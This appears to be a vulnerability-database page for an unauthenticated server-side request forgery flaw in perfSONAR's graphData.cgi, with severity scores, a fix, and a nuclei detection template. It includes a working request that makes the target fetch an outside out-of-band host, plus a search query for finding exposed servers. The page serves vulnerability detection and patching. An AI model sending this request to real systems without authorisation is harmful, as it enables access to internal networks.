HexBrain

Browse / CVEs / CVE-2022-41412

CVE-2022-41412· perfsonar / perfsonar· CWE-918

perfSONAR 4.x <= 4.4.4 - Server-Side Request Forgery

highseverity
8.6CVSS score
4.7%likelihood of exploitation, next 30 days
92%of all CVEs are less likely
Readycheck to confirm it

An issue in the graphData.cgi component of perfSONAR v4.4.5 and prior allows attackers to access sensitive data and execute Server-Side Request Forgery (SSRF) attacks.

Impact

Unauthenticated attackers can exploit SSRF vulnerabilities in the graphData.cgi component to access internal resources, bypass firewall restrictions, and potentially access sensitive performance measurement data from internal network monitoring systems.

Fix

Upgrade to perfSONAR version 4.4.5 or later that validates and restricts URL parameters in the graphData.cgi component.

How to confirm it

Send: GET {{BaseURL}}/perfsonar-graphs/cgi-bin/graphData.cgi?action=ma_data&url=http://oast.fun/esmond/perfsonar/archive/../../../&src=8.8.8.8&dest=8.8.4.4
Positive when: contains "<h1> Interactsh Server </h1>" AND status 200

Run it with nuclei: nuclei -id CVE-2022-41412 -u <target>

The full check
id: CVE-2022-41412

info:
  name: perfSONAR 4.x <= 4.4.4 - Server-Side Request Forgery
  author: null_hypothesis
  severity: high
  description: |
    An issue in the graphData.cgi component of perfSONAR v4.4.5 and prior allows attackers to access sensitive data and execute Server-Side Request Forgery (SSRF) attacks.
  impact: |
    Unauthenticated attackers can exploit SSRF vulnerabilities in the graphData.cgi component to access internal resources, bypass firewall restrictions, and potentially access sensitive performance measurement data from internal network monitoring systems.
  remediation: |
    Upgrade to perfSONAR version 4.4.5 or later that validates and restricts URL parameters in the graphData.cgi component.
  reference:
    - https://github.com/renmizo/CVE-2022-41412
    - https://hackerone.com/reports/2445802
    - https://github.com/perfsonar/graphs/commit/463e1d9dc30782d9b1c002143551ec78b74e03bb
    - https://www.perfsonar.net/releasenotes-2022-09-20-4-4-5.html
    - http://packetstormsecurity.com/files/170069/perfSONAR-4.4.4-Open-Proxy-Relay.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2022-41412
    cwe-id: CWE-918
    epss-score: 0.04707
    epss-percentile: 0.9189
    cpe: cpe:2.3:a:perfsonar:perfsonar:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: perfsonar
    product: perfsonar
    fofa-query:
      - title="perfSONAR Toolkit"
      - title="perfsonar toolkit"
  tags: cve,cve2022,ssrf,hackerone,packetstorm,perfsonar,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/perfsonar-graphs/cgi-bin/graphData.cgi?action=ma_data&url=http://oast.fun/esmond/perfsonar/archive/../../../&src=8.8.8.8&dest=8.8.4.4"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - <h1> Interactsh Server </h1>

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from